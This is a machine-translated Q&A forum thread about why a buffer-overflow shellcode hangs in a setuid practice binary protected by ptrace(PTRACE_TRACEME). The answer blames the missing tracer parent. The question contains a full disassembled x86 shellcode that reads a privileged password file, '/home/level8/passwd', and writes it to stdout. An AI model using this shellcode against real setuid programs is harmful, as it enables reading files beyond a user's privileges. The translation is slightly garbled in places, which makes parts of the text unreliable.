没有父母的PTRACE_TRACEME

时间:2016-05-29 09:08:17

标签: ptrace

我正在尝试使用ptrace来防止调试的代码。
这个可执行文件是 suid ,因此破解它是没有用的。 它还有堆栈段可执行文件。这个可执行文件是为了播放而做的。
在我发现自己的漏洞之后,我尝试了缓冲区溢出它。我写了一个启动shell的shellcode,令我惊讶的是它挂了。 (BASH报告该过程已停止)
经过一些测试后,我最终得出的结论是,ptrace不仅可以防止调试,还可以防止我的shellcode被执行。
阅读ptrace,我发现调用ptrace(PTRACE_TRACEME,0,1,0)的进程一旦调用syscall exec就会被停止。所以我改变了策略,因为ptrace会在启动可执行文件后立即停止进程,我尝试了一个读取文件的shellcode。我的目标不是启动shell,而是读取我的用户没有权限的文件。最后,这段代码也被绞死了。

任何人都可以解释我为什么我的代码,尽管它不包含exec调用,它会被绞死?
有没有办法阻止ptrace在进程内部?
在我的情况下,ptraced进程没有父进程,并且它运行时具有更高的权限,导致suid,它如何被控制?

这里我的代码不应该包含任何exec。

这是我的shell代码:

0:  31 c0                   xor    eax,eax
2:  31 db                   xor    ebx,ebx
4:  31 c9                   xor    ecx,ecx
6:  31 d2                   xor    edx,edx
8:  eb 38                   jmp    0x42
a:  5b                      pop    ebx
b:  c6 43 13 01             mov    BYTE PTR [ebx+0x13],0x1
f:  fe 4b 13                dec    BYTE PTR [ebx+0x13]
12: b0 05                   mov    al,0x5
14: 31 c9                   xor    ecx,ecx
16: cd 80                   int    0x80
18: 89 c6                   mov    esi,eax
1a: eb 06                   jmp    0x22
1c: b0 01                   mov    al,0x1
1e: 31 db                   xor    ebx,ebx
20: cd 80                   int    0x80
22: 89 f3                   mov    ebx,esi
24: b0 03                   mov    al,0x3
26: 83 ec 01                sub    esp,0x1
29: 89 e1                   mov    ecx,esp
2b: b2 01                   mov    dl,0x1
2d: cd 80                   int    0x80
2f: 31 db                   xor    ebx,ebx
31: 39 c3                   cmp    ebx,eax
33: 74 e7                   je     0x1c
35: b0 04                   mov    al,0x4
37: b3 01                   mov    bl,0x1
39: b2 01                   mov    dl,0x1
3b: cd 80                   int    0x80
3d: 83 c4 01                add    esp,0x1
40: eb e0                   jmp    0x22
42: e8 c3 ff ff ff          call   0xa
47:                         db '/home/level8/passwd'

1 个答案:

答案 0 :(得分:0)

我相信你对ptrace的运作方式存在核心误解。

当调用execve后进程停止时,这是一个的事情。这意味着你的调试器有机会在execve之前和之后改变一切。

在我看来,就像你在孩子身上写了<application>,但你还没有实现任何你应该拥有的父方支持。因此,只要ptrace尝试通知调试器事件,您的进程就会停止并且永远不会重新启动。